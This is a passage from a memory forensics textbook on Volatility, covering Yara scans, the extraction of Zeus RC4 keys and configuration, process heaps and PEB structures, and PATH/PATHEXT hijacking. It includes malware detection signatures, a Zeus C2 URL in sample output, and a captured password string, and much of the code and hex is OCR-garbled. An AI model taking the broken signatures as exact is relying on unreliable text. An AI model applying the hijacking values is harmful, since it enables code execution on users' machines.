Directory in which to dump the files
-s 256, --size=256 Size of preview hexdump (in bytes)
-R REVERSE, --reverse=REVERSE Reverse this number of bytes

Scan process or kernel memory with Yara signatures

In terms of what to actually search for, numerous possibilities exist. You can always
begin by reading the Yara user manual (linked from the main page) that tells you the
syntax and rules for writing signatures. Otherwise, here are a few ideas and sources of
existing signatures that you can leverage:

IP addresses (in string or decimal form), domain names, or URLs.

Regular expressions for Social Security numbers, credit card numbers, phone num-
bers, birthdays, password hashes, and so on.

Packer signatures. Recipe 3-4 in Malware Analyst’s Cookbook provided a Python
script (peid_to_yara.py) that converts PEiD signatures to Yara rules.

Antivirus signatures. Recipe 3-3 in Malware Analyst’s Cookbook provided a Python
script (clamav_to_yara.py) that converts ClamAV signatures to Yara rules.

Join the Yara Signature Exchange Google Group: http://www.deependresearch.
org/2012/08/yara-signature-exchange-google-group.html

Signatures from AlienVault Labs: https://github.com/Alienvault-Labs/
AlienvVaultLabs

For example, to scan all processes for a particular domain name, do the following:

$ python vol.py -f mem.dmp yarascan --profile=Win7SP1x64
--yara-rules="windows-update-http.com"

To scan two specific processes for a Unicode version of the same domain, use this com-
mand (the --wide parameter indicates that the search string is Unicode):
$ python vol.py -f mem.dmp yarascan --profile=Win7SP1x64

--pid=1080,1140 --wide
--yara-rules="windows-update-http.com"
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To scan an unlinked or hidden process using all signatures in a given rules file (plus
any files included with the Yara include directive), do the following (make sure to sub-
stitute orrseT with the physical offset of the target _EPrOCESS):

$ python vol.py -f mem.dmp yarascan --profile=Win7SP1x64

--offset=0OFFSET
--yara-file=/path/to/your/yara.rules

To look for CPU opcodes or other types of byte sequences in all processes, and auto-
matically dump the containing memory segments to a specified output directory, use the
following command (note that the hex bytes are enclosed in curly braces):

$ python vol.py -f mem.dmp yarascan --profile=Win7SP1x64

--yara-rules="{eb 90 ff e4 88 32 0d}"
- -dump-dir=OUTDIR

Finally, although we're in the process memory chapter, here’s a preview of scanning ker-
nel memory for regular expressions. The syntax is to enclose the regex in forward slashes:
S python vol.py -f mem.dmp yarascan --profile=Win7SP1x64

--yara-rules="/ (www|net|com|org) /"
--kernel

Now that you've seen some of the example use cases, here’s how the output appears. A
few pages back, you used search_process_memory () to find Gmail passwords in browser
memory. The same memory dump is used for this example but shown from the Yara
perspective:

$ python vol.py -f memory.dmp --profile=Win7SP1x64 yarascan
--yara-rules="&Email" --wide -p 3560,3660,3808

Volatility Foundation Volatility Framework 2.4
Rule: rl
Owner: Process chrome.exe Pid 3660

0x03172652 2600 4500 6400 6100 6900 6c00 3d00 6800 &.E.m.a.i.l.=.h.
0x03172662 6100 6300 6b00 3400 6c00 6900 6600 6500 a.c.k.4.1.i.f.e.
0x03172672 3200 2600 5000 6100 7300 7300 7700 6400 2.&.P.a.s.s.w.d.
0x03172682 3d00 6400 6100 7400 6500 7200 3700 2d00 =.d.a.t.e.r.7.-
Rule: rl

Owner: Process chrome.exe Pid 3660

0x0260b078 2600 4500 6400 6100 6900 6c00 3d00 6800 &.E.m.a.i.l.=.h.
0x0260b088 6100 6300 6b00 3400 6c00 6900 6600 6500 a.c.k.4.1.i.f.e.
0x0260b098 3200 3000 3000 2600 5000 6100 7300 7300 2.0.0.&.P.a.s.s.
0x0260b0a8 7700 6400 3d00 6400 6100 7400 6500 7200 w.d.=.d.a.t.e.r

We found the expected results in the memory of PID 3660. By default, yarascan shows
only a preview of content that triggered your signature, but you can control the amount of
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data shown or extracted with the - -size option. Because the search criteria were specified
on the command line, all hits display as triggering the generic rule r1. However, when
you have thousands of rules within a rules file, it would display the name of the rule that
actually matched the data.

Zeus Encryption Keys in Memory

So far, you've seen three very powerful aspects of memory analysis: the ability to classify
memory regions based on their metadata, develop and scan for complex patterns, and
postprocess the results with custom Python code. The following example shows what’s
possible when you combine these capabilities. In particular, you learn how to locate Zeus’
256-byte RC4 encryption key in process memory, find the corresponding encrypted con-
figuration block and then use the key to decrypt the configuration. An initial version of
this analysis (Abstract Memory Analysis: Zeus Encryption Keys) is available here: http://
mnin.blogspot.com/2011/09/abstract-memory-analysis-zeus.html.

Before you begin, you should know a little about Zeus’ history. Near the end of 2008
(approximately version 1.2.0), Zeus started using unique 256-byte RC4 keys embedded
in each binary to decrypt configurations, which prevented analysts from using the key
from one sample to decrypt the configuration used by another sample. Furthermore, if
investigators found a configuration, they couldn’t decrypt it without the corresponding
binary—even if they knew the algorithm was RC4. The same concept applied to Zeus’
stolen data files, which were protected with a separate RC4 key (so you need two keys
per binary to recover all the data).

NOTE

For a more in-depth description of Zeus’ encryption algorithm, see Config Decryptor
for Zeus 2.0 by Sergei Shevchenko: http://blog.threatexpert.com/2010/05/

config-decryptor-for-zeus-20.html.

The first step of figuring out how to automate the required actions in a Volatility plugin
was to reverse-engineer the Zeus binary. It took a bit of time to identify where the keys
and configuration data were stored in the binary, but after that was done, we could focus
our efforts on finding them in a memory dump. Figure 7-6 shows a disassembly of the
critical functions. We look for sequences of instructions that reference global variables in
the binary, which can then lead to the RC4 key, encrypted configuration data, and other
information. Many of the functions and variables that we need have been labeled.
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e
B8484123

28484123

aeuey123 ; Attributes: bp-based frame
0084A4123

90404123 signature_Function proc near
B8484123

08404123 pkey dest= byte ptr -468h
88484123 data= data ptr -360h
88484123 output_buffer= dword ptr 8

00404123

80484123 push ebp

08404124 mov ebp, esp

80484126 and esp, BFFFFFFF8h
88484129 sub esp, B68h

0040412F lea eax, [esp+i468h+data]

80484136 call decode_config_dat
808484138 push 1682h

80484140 lea eax, [esp+hi6Ch+data.
86484147 push eax ; =============== S UBROUTIMHNE
00404148 lea eax, [esp+47Bh+pkey_
8848414C push eax ; Attributes: bp==sp
00484140 call custon_memcpy
80404152 mow eax, 1E6h decode_config data proc near ; CODE XREF: sub_483B3C+15Tp
80404157 push eax ; sub_uB3F13+13Tp ...
80404158 push offset real_rch_key push esi
8048415D push [ebp+output_buffer] mou edx, 366h
00404160 call custom_memcpy push edx
80484165 push eax ; si push offset config data
00484166 push [ebp+output_buffer] push eax
00404169 lea eax, [esp+i47Bh+pkey_d call custom_memcpy
80484160 call rch_decrypt nou esi, last_section_rva
00484172 mou esp, ebp noy ecx, imagebase
aeue4174 pop ebp add ecx, esi
88484175 retn L) sub ecx, eax
80404175 signature_function endp mou esi, edx
80484175
oc_484118: ; CODE XREF: decode_config_data+2Blj
noy dl, [ecx+eax]
E{iTd [eax], dl
inc Pax
dec esi
jnz short loc_404118
pop esi
retn

decode_config_data endp

; s============== S UBROUTIMHNE

Figure 7-6: A disassembly of the Zeus functions that reference critical variables for finding and
decoding the configuration

The figure shows that a function named decode_config_data calls custom_memcpy,
which is just an inline version of the standard memcpy APL The second parameter (source
of data being copied) in this case is supplied by the push offset config_data instruction.
Thus, the config_data variable contains an offset relative to the base of the executable being
analyzed where we can find the encrypted configuration data. Likewise, you can also see
the function labeled rc4_decrypt. Expectedly, one of the parameters to this function is
the location of the key. The push offset real_rc4_key instruction provides this offset.

To find the variables that contain the required offsets, we built signatures for the
functions that you see in the figure. For example, you can express the function named
signature_function using wildcards (indicated by question marks) like this:

PUSH 102h

LEA EAX, [ESP+??2?????7?]
PUSH EAX
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LEA EAX, [ESP+??]

PUSH EAX

CALL ??7??7?2??7? ; custom_memcpy
MOV EAX, 1lEé6h

PUSH EAX

PUSH OFFSET ???????? ; real rc4 key

The bytes that store the offset to the RC4 key are in bold. If you can find the signature,
you can easily extract the key. Keep in mind that the wildcards are important because
there might be variations in Zeus binaries due to compiler differences. So you also should
look for EBP-based frames, such as the following;:

PUSH 102h

LEA EAX, [EBP-???????7]

PUSH EAX

LEA EAX, [EBP-???????7]

PUSH EAX

CALL ??7??7?2?7?7? ; custom_memcpy
MOV EAX, 1lEé6h

PUSH EAX

PUSH OFFSET ???????? ; real_rc4 key

You can express the function named decode_config_data like this:

PUSH ESI

MOV EDX, ?2??20000 ; config size (immediate)
PUSH EDX

PUSH OFFSET ???????? ; config data

PUSH EAX

CALL ??7??7?2?7?7? ; custom_memcpy

MOV ESI, ??°??7?7?27?7? ; last_section rva

MOV ECX, ?2?°??2?2°?7 ; 1imagebase

There are several variations of these patterns, once again due to compiler differences
and usage of general-purpose registers, but it’s nothing that Yara rules can’t handle. By
converting the previous instructions into opcodes (that is, hex bytes that correspond to
CPU operations), we have the following signatures:

NOTE

To convert instructions to opcodes, you can use ndisasmon Linux. Alternately, if you're
already viewing the code in IDA Pro, just go to View = Options => Disassembly and
increase the number of opcode bytes. It then displays the corresponding hex values
next to the instructions.

signatures = {
'namespacel':'rule zl {strings: $a = {56 BA ?? ?? 00 00 52
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68
??

'namespace5': 'rule z5 {strings:

68
0D

'namespace2':'rule z2 {strings:

??

0D

'namespace3':'rule z3 {strings:

24
01

'namespace4':'rule z4 {strings:

??
E6

}

Although we could scan through every memory range in every process for these signa-
tures, that would be excessive. We know from previous work that Zeus injects its binary
code into processes. Thus, you can leverage some of the knowledge we discussed earlier
in the chapter. Rather than scanning all memory ranges, you can filter VAD nodes that
are executable, not backed by a file, and committed. This narrows your search space and

?? ?? ?2? ?2? 50 E8 ?? ?7

?? ?? 8B 35 ?? ??

?? 8B 0D ?? ?? ?? ??} condition: S$a}',

?? ?? ?? ?? 50 E8 ?? ?7?

?? ?? ?? ??} condition:

?? 8B 0D ?? ?? ?? ?? 56

?? ?? ?? ??} condition:

?? ?? 2?2 ?? 50 8D 44 24

$a = {56 BA ?? ?? 00 00 52
?? ?? 8B 0D ?? ?? ?2? ?? 03
sa}',

$a = {55 8B EC 51 Al ?? ??
8D 34 01 Al ?? ?? ?? ?? 8B
sa}',

$a = {68 02 01 00 00 8D 84
?? 50 E8 ?? ?? ?? ?? B8 E6

00 00 50 68 ?? ?2? ?? 2?} condition: $a}',

?? ?? ?? 50 8D 85 ?? ??

01 00 00 50 68 ?? 2?7 ??

Sa = {68 02 01 00 00 8D 85
?? ?? 50 E8 ?? ?? ?? ?7? B8

??} condition: $a}!'

increases the overall performance of the plugin.

The following output shows the results of the zeusscan2 plugin built based on this
research. For the sake of brevity, the 256-byte RC4 keys have been truncated to just a few
bytes. You can see the URL to the Zeus configuration, the unique identifier assigned to
the infected machine, and the randomly generated registry keys and filenames it uses

for persistence, among other data.

$ python vol.py --plugins=contrib/plugins/malware -f zeus2x4.vmem zeusscan2

Process:
pid:
Address:
URL:

Identifier:
Mutant key:

XOR key:
Registry:
Value 1:
Value 2:
Value 3:

Executable:

Data file:

Config RC4
0x00000000
0x00000010
0x00000020

wuauclt.exe
940
0xD80000

http://193.43.134.14/eu2.bin
JASONRESACC69 7875768F16073AAF

0x17703072
0x2006B8FE

HKEY_ CURRENT USER\SOFTWARE\Microsoft\Izozo

Kealtuuxd

Yrdii

Kebooqu
Obyt\ihah.exe
Ebupzu\uzugl.dat

Key:

4a ba 2c 63 eb 7c fc 45 c4 £3 b6 2d 31 29 21 2e
53 0f 3f ef 9a 2a f8 82 96 6b el a2 3b 5f 34 fd
a6 02 cc 39 0Ob 16 40 33 1f al dc af 93 9b 5b 94



Process Memory Internals 217

0x00000030 68 62 84 46 ca 64 8d 43 13 d4 d9 72 00 5¢ 2b bc hb.F.d.C...r..+.

0x00000040 f6 d7 88 91 24 9f bd le 7a 07 c5 6e la 4e 90 92 ....%...2z..n.N..
0x00000050 cl 42 0c 75 47 3a 9e 1d c2 ec 0d ed b8 71 b4 ab B.uG:...o.. .. q. .
0x00000060 e6 5d e3 14 48 b9 e9 e8 b2 10 ee f4 e2 2f a4 09 O HG /..
[snip]

Credential RC4 Key:
0x00000000 6f e4 94 f2 f1 5e 5c cl 8c e8 66 c5 13 2a 23 39 o.... L E. . *H#9

0x00000010 84 36 6a 83 b2 55 6¢c 11 5a £3 b6 20 07 6d ba de .63..0UL.Z.. .m..
0x00000020 52 8e 34 bf 8a 05 0f 64 35 29 cb 5f ff 00 87 fc R.4....d5)._
0x00000030 b5 5b 67 b8 eb la 0e 1f 32 ae 54 3a 88 ed c3 51 Cgee 2.T:...Q
0x00000040 40 14 3e 53 dc 7c a7 0b 79 26 e5 45 99 7d 1lc doO @.>S.|..y&.E.}..
0x00000050 90 8f 80 95 71 58 41 5d f9 af 9e al 6e ef 25 4e ....gXAl....n.%N
0x00000060 48 2d bl bd 33 ab d3 b7 4d 10 7e 44 65 7b cd 2f H—..3...M.~De{./
[snip]

The Zeus plugin described in this section has led to many other related capabilities in
memory forensics. Here is a list of the ones we currently know about:

Andreas Schuster (http://computer.forensikblog.de/) based his Poison Ivy con-
figuration scanners on the original zeusscan2 plugin.

Santiago Vicente later added support for finding and decrypting Citadel configura-
tions (http://blog.buguroco.com/?p=10291&lang=en) from process memory.

Brian Baskin wrote about extracting JavaRAT configurations with Volatility (http://
www.ghettoforensics.com/2013/10/dumping-malware-configuration-data-from.
html).

The Cassidian CyberSecurity group released a plugin for detecting and ana-
lyzing Plugx:sannples(http://bitbucket.cassidiancybersecurity.com/
volatility_plugins/wiki/Home)

We’ve also seen alumni of our training courses, namely Ian Ahl, produce similar
plugins for developing Yara signatures to find DarkComet in memory (http://

www.tekdefense.com/news/2013/12/23/analyzing—darkcomet—in—memory.html)

Summary

The data in process memory is often a valuable source of information, but it may be
difficult to find when it is interspersed with other irrelevant data. Learning the flags
and attributes of virtual address descriptors helps you limit the search space to specific
regions of memory, such as the stack, heap, or a particular DLL. Additionally, under-
standing the layout of process memory makes you better equipped to perform investiga-
tions that require analysis of process resources. Using a highly configurable signature or
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pattern-based scanning engine (Yara) is a great way to find evidence fast. Yara signatures
also allow abstract capabilities such as finding encryption keys, sequences of CPU instruc-
tions, and so on. In the following chapters, you'll see how this fundamental knowledge
can be expanded upon.



Hunting Malware in
Process Memory

The previous chapter introduced you to process memory internals and set the foun-
dations for you to deep dive into analysis. Now you’ll see some specific examples
of how you can detect malware that hides in process memory by unlinking dynamic
linked libraries (DLLs) or using one of four different methods of injecting code. You'll
also learn the fundamentals of dumping processes, libraries, and kernel modules (any
portable executable [PE] files) from memory, including samples that are initially packed
or compressed.

Process Environment Block

Every _EprOCESS structure contains a member called the Process Environment Block (PEB).
The PEB contains the full path to the process” executable, the full command line that
starts the process, the current working directory, pointers to the process” heaps, standard
handles, and three doubly linked lists that contain the full path to DLLs loaded by the
process.

Analysis Objectives

Your objectives are these:

® Recover command lines and process paths: Learn about sources in process mem-
ory that can provide details about how a process was invoked and where its file
resides on disk.

® Analyze heaps: Learn what types of data applications store on their heap(s) and
see a practical example that locates the text typed into Notepad.

® Inspect environment variables: Learn how to detect search order hijacking and
malware families that mark their presence by creating new variables.
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Detect backdoors with standard handles: Determine whether a process’ input and
output are being redirected over a remote network socket to an attacker.
Enumerate DLLs: Learn how the operating system tracks DLLs loaded by a pro-
cess, as well as the APIs that you use on live systems to list them. At the same time,
you'll see how to detect hidden and unlinked libraries.

Extract PE files from memory: Learn how to dump PE files from memory and
prepare them for static analysis with a disassembler. You'll be exposed to the
ways PE files change when loaded into memory and how the changes can affect
your investigations.

Detect code injection: See detailed descriptions of four types of code injection,
including how to detect them with memory forensics.

Data Structures

The main PEB structure is appropriately named _pEes. The following code shows how it

appears for a 64-bit Windows 7 system, along with the structures for process parameters

and DLLs. Remember that the _pEB structure exists in process memory, so a process can

easily modify its own values to falsely report information or thwart analysis. Later in the

chapte

r, you'll see how to leverage data in the kernel (such as virtual address descrip-

tors [VADs] and page tables) to cross-reference with some of the information available
in the PEB.

>>> dt("_PEB")
'_PEB' (896 bytes)

0x0 : InheritedAddressSpace ['unsigned char']
0x1 : ReadImageFileExecOptions ['unsigned char']
0x2 : BeingDebugged ['unsigned char']
[snip]
0x10 : ImageBaseAddress ['pointer64', ['void']]
0x18 : Ldr ['pointer64', ['_PEB_LDR DATA']]
0x20 : ProcessParameters ['pointer64', ['_RTL_USER_PROCESS_ PARAMETERS']
0x28 : SubSystemData ['pointer64', ['void']]
0x30 : ProcessHeap ['pointer64', ['void']]
[snip]
0xe8 : NumberOfHeaps ['unsigned long']
Oxec : MaximumNumberOfHeaps ['unsigned long']
0xf0 : ProcessHeaps ['pointer', ['array',
lambda x: x.NumberOfHeaps, ['pointer', ['_HEAP']]]]

>>>
' RT
[sni
0x20
0x28
0x30

dt (" RTL USER PROCESS PARAMETERS")

L _USER_PROCESS_PARAMETERS' (1024 bytes)

pl
: StandardInput ['pointer6d', ['void']]
: StandardOutput ['pointer64', ['void']]
: StandardError ['pointer64', ['void']]
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0x38 : CurrentDirectory ['_CURDIR']

0x50 : DllPath [' UNICODE STRING']
0x60 : ImagePathName ['_UNICODE STRING']
0x70 : CommandLine ['_UNICODE STRING']
0x80 : Environment ['pointer64', ['void']]
[snip]

>>> dt(" PEB LDR_DATA")
' _PEB_LDR DATA' (88 bytes)

[snip]

0x10 : InLoadOrderModuleList ['_LIST ENTRY']
0x20 : InMemoryOrderModuleList ['_LIST ENTRY']
0x30 : InInitializationOrderModuleList ['_LIST ENTRY']
[snip]

>>> dt ("_LDR DATA TABLE ENTRY")
' LDR DATA TABLE ENTRY' (224 bytes)

0x0 : InLoadOrderLinks ['_LIST ENTRY']
0x10 : InMemoryOrderLinks ['_LIST_ENTRY']
0x20 : InInitializationOrderLinks ['_LIST_ENTRY']
0x30 : DllBase ['pointer64', ['void']]
0x38 : EntryPoint ['pointer6d', ['void']]
0x40 : SizeOfImage ['unsigned long']
0x48 : FullDllName [' UNICODE STRING']
0x58 : BaseDllName [' UNICODE STRING']
0x68 : Flags ['unsigned long']
0x6c : LoadCount ['unsigned short']
[snip]

Key Points

The key points for _pEB are these:

BeingDebugged: Tells you whether the process is currently being debugged. In the
past, we've seen malware that attaches to itself (by calling bebugactiveProcess).
Because only one debugger at a time can attach to a target process, it served as
anti-debugging protection. Thus, there is a red flag if this value is set to true, but
there are no legitimate active debuggers running.

ImageBaseAddress: The address in process memory where the main executable
(.exe) is loaded. Before Volatility’s procdump plugin (described later in the chapter)
carves an executable from memory, it reads this value so it knows where to look.
Ldr: Points to a _PEB_LDR DATA structure, which contains details about the DLLs
loaded in a process.

ProcessParameters: Points to a RTI_PROCESS PARAMETERS structure (described
soon).
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ProcessHeap: Primary heap for the process, which is created automatically when
the process is initialized.

NumberOfHeaps: Number of heaps in a process. By default, a process has only one
heap, but it can create others by calling HeapCreate.

ProcessHeaps: An array of pointers to process heaps. The first entry in this list
always points to the same location as processHeap because it is the primary.

Your key points for RTL_PROCESS_PARAMETERS are these:

StandardInput: The process’ standard input handle.

standardoutput: The process’ standard output handle.

StandardError: The process’ standard error handle.

currentDirectory: The current working directory for the application.
ImagePathName: The Unicode full path on disk to the process executable (.exe). You
often need to consult this value because the _EPROCESS. ImageFileName (printed
by the ps1ist plugin) contains only the first 16 characters and it does not include
Unicode.

commandLine: The full command line, including all arguments, used to invoke the
process.

Environment: A pointer to the process” environment variables.

Your key points for _peEe_rDR_DaTa follow. All the linked lists contain elements of type
_LDR_DATA TABLE_ENTRY, Which is described next. Also, the term “module” here refers to
any executable image, which includes the process executable and DLLs.

InLoadOrderModuleList: A linked list that organizes modules in the order in which
they are loaded into a process. Because the process executable is always first to
load in the process address space, its entry is first in this list.
InMemoryOrderModuleList: A linked list that organizes modules in the order in
which they appear in the process’ virtual memory layout. For example, the last
DLL to load may end up at a lower base address than the first (due to address
space layout randomization [ASLR] and other factors).
InInitializationOrderModuleList: A linked list that organizes modules in the
order in which their p11Main function was executed. This is different from the
load order list because a module’s p11Main isn’t always called immediately when
it loads. Sometimes it’s never called, for example when you load a DLL as a data
file or image resource (see the dwrlags parameter to LoadLibraryEx).

The key points for _LDR_DATA TABLE_ENTRY are the following:
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pllBase: This is the base address of the module in process memory. The DLL
dumping plugins that you'll learn about later in the chapter will read this address
to know where to start carving.

EntryPoint: The first instruction executed by the module. In most cases, it is taken
from the PE file’s addressofEntryPoint value.

SizeofImage: The size of the module, in bytes.

FullbllName: The full path to the module’s file on disk (for example, c¢: \windows\
System32\kernel32.dll)

BaseDl1lName: The base portion of the module’s filename (for example,
kernel32.dll)

LoadCount: The number of times LoadLibrary was called for the module. It is used
as a reference count to know when it is safe to unload a DLL from process memory.
You'll see this value later in the chapter to determine how a DLL was loaded (via
the import address table [IAT] or an explicit call to LoadLibrary).

Process Heaps

From a forensics perspective, when you dump process memory via memdump Or vaddump,
you inevitably get the heap contents (at least the pages that are not swapped). The same
applies to scanning memory with Yara and the search_process_memory API discussed in
Chapter 7. The problem is that you won't necessarily know which offsets in your dump
file or signature results correspond to heap regions. Furthermore, in some cases you
might want to analyze only heap memory. For example, say you're looking for the data
an application received over the network or the text a user typed into a word processor.
These types of data have a good chance of being on one of the process” heaps, so there’s no
need to waste time scanning memory regions that contain DLLs, stacks, or mapped files.

NOTE

For a thorough overview of modern heaps structures and internals, see Windows 8
Heap Internals by Chris Valasek and Tarjei Mandt: http://illmatics.com/Windows%20
8%20Heap%20Internals.pdf

Finding Text on Notepad’s Heap

This example demonstrates how you can drastically narrow the search space when look-
ing for forensic evidence on the heap. The research was sparked when a member of the
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Volatility user’s mailing list asked this question: How do I find the text a user entered into
Notepad? One way, of course, is to reverse engineer notepad.exe and determine where it
stores the pointer to data that the application receives from the keyboard. However, we
took a slightly easier, more black-box approach. First, to set up the environment, we started
two instances of Notepad: one opened a rather large log file and the other was used by
the “suspect” to develop a plan for committing a crime (the one you're investigating). An
example of the suspect’s desktop is shown in Figure 8-1.

[P Untitled - Notepad

File Edit Format Wiew Help
List of targets:

;;Fbﬂbjaﬁﬁ? ht WU MMM H WU HH WY
Yy 4d 2011 TIME: 06:56 pm]

reter silver e A e

amy Christoph onent = dtc

Plan: 4720,0

Get their cell phone numbers = 0.0.0.0
Text with a place to meet
Blackmail with pictures

Collect money and profit

n
H

istry value returned 2, dwve
istry value default to 0
value = 0

t = dtc subcomponent = dtc
-, R=

Tue = 0

TATE Component = dtc Subcomg
C-,R-

TE Return value = 1

_lll TATE Component = dtc Subcomg
H o Zc+, R-

ETUP LY . BT U —JUERT —CMANGE—SEC—STATE Return value = 1
Setup[6:57: : Start OC_QUERY_CHANGE_SEL_STATE Component = dtc Subcomp
setup[6:57: : subcomponent dtc state: O-,C+,R-

Setup[6:57: 1 End OC_QUERY_CHANGE_SEL_STATE Return value = 1
Setup[6:57: ! Start OC_CALC_DISK_SPACE Component = dtc Subcomponent =
Setup[6:57: : End OC_CALC_DISK_SPACE Return value = 0

Setup[6:57: : Start OC_QUEUE_FILE_OPS Component = dtc subcomponent
Setup[6:57: : End OC_QUEUE_FILE_OPS Return value = 0

Setup[6:57:43]: Start OC_QUEUE_FILE_OPS Component = dtc Subcomponent
Setup[6:57:43]: Subcomponent dtc state: O-,C+,R-

Setup[6:57:43]: Reading persistent registry values

Figure 8-1: The text you see in the open Notepad windows is stored on the Notepad process’ heap

Suppose that you obtained a memory dump from the suspect’s system. At this time,
you can run plugins such as vadinfo and vadtree on the Notepad processes, but (on this
particular machine) you'll see 50+ VAD nodes that encompass more than 25MB of data in
each process. How do you pinpoint completely arbitrary text in a collection of 25 million
bytes? You can begin by filtering out only the VADs that contain process heaps.

As the following output from the heaps plugins shows, the process with PID 3988 has
6 heaps. Collectively, this narrows your search to 6 VADs and approximately 1.3MB of
data. At this point, the black-box approach kicked in. We started looking for anything



Hunting Malware in Process Memory 225

that might help isolate the heap chunks containing the desired text from all others. As
shown, two chunks stood out because the “extra” flag is displayed. In other words, the
HEAP_ENTRY_ EXTRA_PRESENT flag was set in the HEAP_ENTRY.Flags member for these two
chunks. Both chunks existed in the primary heap (the first one in the processHeaps array)
that starts at oxao0o00:

S python vol.py -f Win2K3SP1lx86.vmem --profile=Win2003SP1x86
heaps -p 3988

Volatility Foundation Volatility Framework 2.4
khkhkkhkhkkkhkhhkkhkhkhhkhkhhhhkhkhhhhkhkhdhhkhkhdhhkhkhdhhrhrddhkrkdhrx
Process: notepad.exe, Pid: 3988
PEB: 0x7ffdf000, Heap: 0xa0000, NumberOfHeaps: 0x6
*kkkkkkkkk
_HEAP at 0xa0000
0xa0640 Size: 0x8 Previous: 0xc8 Flags: busy
0xa0680 Size: 0x301 Previous: 0x8 Flags: busy
0xale88 Size: 0x4 Previous: 0x301 Flags: busy
Oxalea8 Size: 0xb Previous: 0x4 Flags: busy
0xalf00 Size: 0Oxb Previous: Oxb Flags: busy
[snip]
0xa8028 Size: 0x3 Previous: 0x1l2 Flags: busy, extra
[snip]
0xac740 Size: 0Oxe Previous: Oxb Flags: busy
Oxac7b0 Size: 0x37 Previous: Oxe Flags: busy, extra
0xac968 Size: 0xd3 Previous: 0x37 Flags: last
*kkkkkkkkk
_HEAP at 0x1a0000
0x1a0640 Size: 0x8 Previous: 0xc8 Flags: busy
0x1a0680 Size: 0x530 Previous: 0x8 Flags: last
*kkkkkkkkk
_HEAP at 0x3c0000
0x3c0640 Size: 0x8 Previous: 0xc8 Flags: busy
0x3c0680 Size: 0x301 Previous: 0x8 Flags: busy
0x3cle88 Size: 0x3 Previous: 0x301 Flags: busy
0x3cleal Size: 0x2c Previous: 0x3 Flags: last
[snip]

Regardless of the actual meaning of the “extra” flag (we've never found a good descrip-
tion) it was a discrepancy that turned our attention to the chunks at 0xago28 and oxac7oo.
The following volshell command shows that one of these chunks does indeed contain a
Unicode version of our suspect’s text. Note that the text actually starts at oxac7bs because
a _HEAP_ENTRY exists at the base, which is 8 bytes on a 32-bit platform.

$ python vol.py -f Win2K3SP1x86.vmem --profile=Win2003SP1x86
volshell -p 3988

Volatility Foundation Volatility Framework 2.4
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Current context: process notepad.exe, pid=3988, ppid=416 DTB=0x140ab4e0
To get help, type 'hh()'

>>> db (0xac7b0)

0x000ac7b0 3700 0e00 e523 1000 4c00 6900 7300 7400 7....#..L.i.s.t
0x000ac7c0 2000 6f00 6600 2000 7400 6100 7200 6700 ..o.f...t.a.r.g
0x000ac7d0 6500 7400 7300 3a00 0400 0a00 0400 0a00 e.t.s.:t.. i

0x000ac7e0 4a00 6900 6400 2000 4a00 6100 6d00 6500 J.i.m...J.a.m.e
0x000ac7f0 7300 0400 0a00 4200 6£00 6200 6200 7900 S..... B.o.b.b.y
0x000ac800 2000 4b00 6e00 6900 6700 6800 7400 2000 ..K.n.i.g.h.t..
0x000ac810 0d00 0a00 5000 6500 7400 6500 7200 2000 ....P.e.t.e.

0x000ac820 5300 6900 6c00 7600 6500 7200 0400 0a00 S.i.l.v.e.r.....

At this point, we built a notepad plugin that automatically dumps the text from
notepad.exe processes. Here’s how the plugin’s output looks:

S python vol.py -f Win2K3SP1x86.vmem --profile=Win2003SP1x86 notepad
Volatility Foundation Volatility Framework 2.4

Process: 3988
Text:
List of targets:

Jim James
Bobby Knight
Peter Silver
Amy Christoph

Plan:

Get their cell phone numbers
Text with a place to meet
Blackmail with pictures
Collect money and profit

Despite being entirely based on an educated guess rather than empirical testing or
reverse engineering, the plugin works consistently and accurately on 32-bit versions of
XP and 2003 Server. Even if we didn’t catch a break with the “extra” flag indicators, it is
still possible to narrow the search space to 1.3 MB out of the entire process memory space
by just looking at the regions that contain heaps.

Environment Variables

A process’ environment variables are pointed to by _PEB. ProcessParameters.Environment.
The variables are organized as multiple NULL-terminated strings, similar to a REG_ MULTI_sz
value in the registry. If an attacker manipulates these variables, they can cause the tar-
get application to unexpectedly execute a malicious process. Additionally, some mal-
ware marks its presence by creating environment variables rather than mutexes. (see
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the “Coreflood Presence Marking” section) Thus, you should know how to check for
suspicious entries. Table 8-1 categorizes the different types of variables according to their
scope and persistence.

Table 8-1: Sources and Scopes of Environment Variables

Type Source Scope Persists

System HKLM\SYSTEM\CurrentControlSet\Control\ Everyone (all Yes
Session Manager\Environment processes)

User HCKU\Environment A user Yes

Volatile HKCU\Volatile Environment A user No

Dynamic SetEnvironmentVariable A process No

The System and User variables are both persistent in the registry. Thus, you can enumer-
ate them by parsing registry hive files that were acquired from disk. The Volatile variables
are also stored in the registry, but in a volatile key, so you must access them by capturing
RAM and using Volatility’s cached registry support (see Chapter 10). The Dynamic vari-
ables are set per process when a thread within the process calls setEnvironmentvariable.
Similar to the Volatile variables, these entries are found only in memory—they’re never
written to the registry hives on disk or any other log file.

When a process is created, it usually inherits the environment block from its parent.
The parent process can override this default behavior by specifying the 1pEnvironment
parameter when it calls createpProcess. Here’s a list of the types of data you can typically
find in environment variables:

Paths to executable programs (paTH)

Extensions assigned to executable programs (PATHEXT)

Paths to temporary directories

Paths to a user’s Documents, Internet History, and Application Data folders
User names, computer names, and domain names

The location of cmd. exe (Comspec)

Attacks on Environment Variables

The two most common types of attacks on environment variables include changing the
paTH and PATHEXT variables. Modifying these values has an effect similar effect to search-
order hijacking. For example, consider the following scenario:

PATH=C:\windows;C:\windows\system32
PATH=C:\Users\HR101\.tmp; C:\windows;C:\windows\system32
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In this case, if the paTH variable is updated in explorer. exe and the logged-on user goes
to Start = Run and types “calc”, the system will search for an application named “calc” in
the c:\users\HR101\ . tmp directory before it looks in the windows and system32 directories.
Thus, the user will unexpectedly execute malicious code. Likewise, the PATHEXT variable
contains a list of extensions that are searched if a user fails to specify one. For example, if you
type “calc” as previously mentioned, the system will look for calc.comfirst, then calc.exe,

then calc.pat , and so on. Due to the following modifications, an attacker could plant
a file named calc.zzz in one of the searched directories, and it would be executed first:

PATHEXT=.COM; .EXE; .BAT; .CMD; .VBS; .VBE
PATHEXT=.Z2ZZ; .COM; .EXE; .BAT; .CMD; .VBS; .VBE

Of course, in these situations, the malicious code being invoked would subsequently
launch the legitimate calc.exe—so the user doesn't start to suspect foul play.

Coreflood Presence Marking

Many malware samples mark their presence on a system by creating globally accessible
mutexes. This helps prevent accidental re-infection. Mutexes also provide a strong forensic
indicator. Coreflood used environment variables for a very similar purpose—to mark its
presence within a process. Because Coreflood’s main component is a DLL, the authors
needed a way to make sure that the same process didn’t get injected with the malware
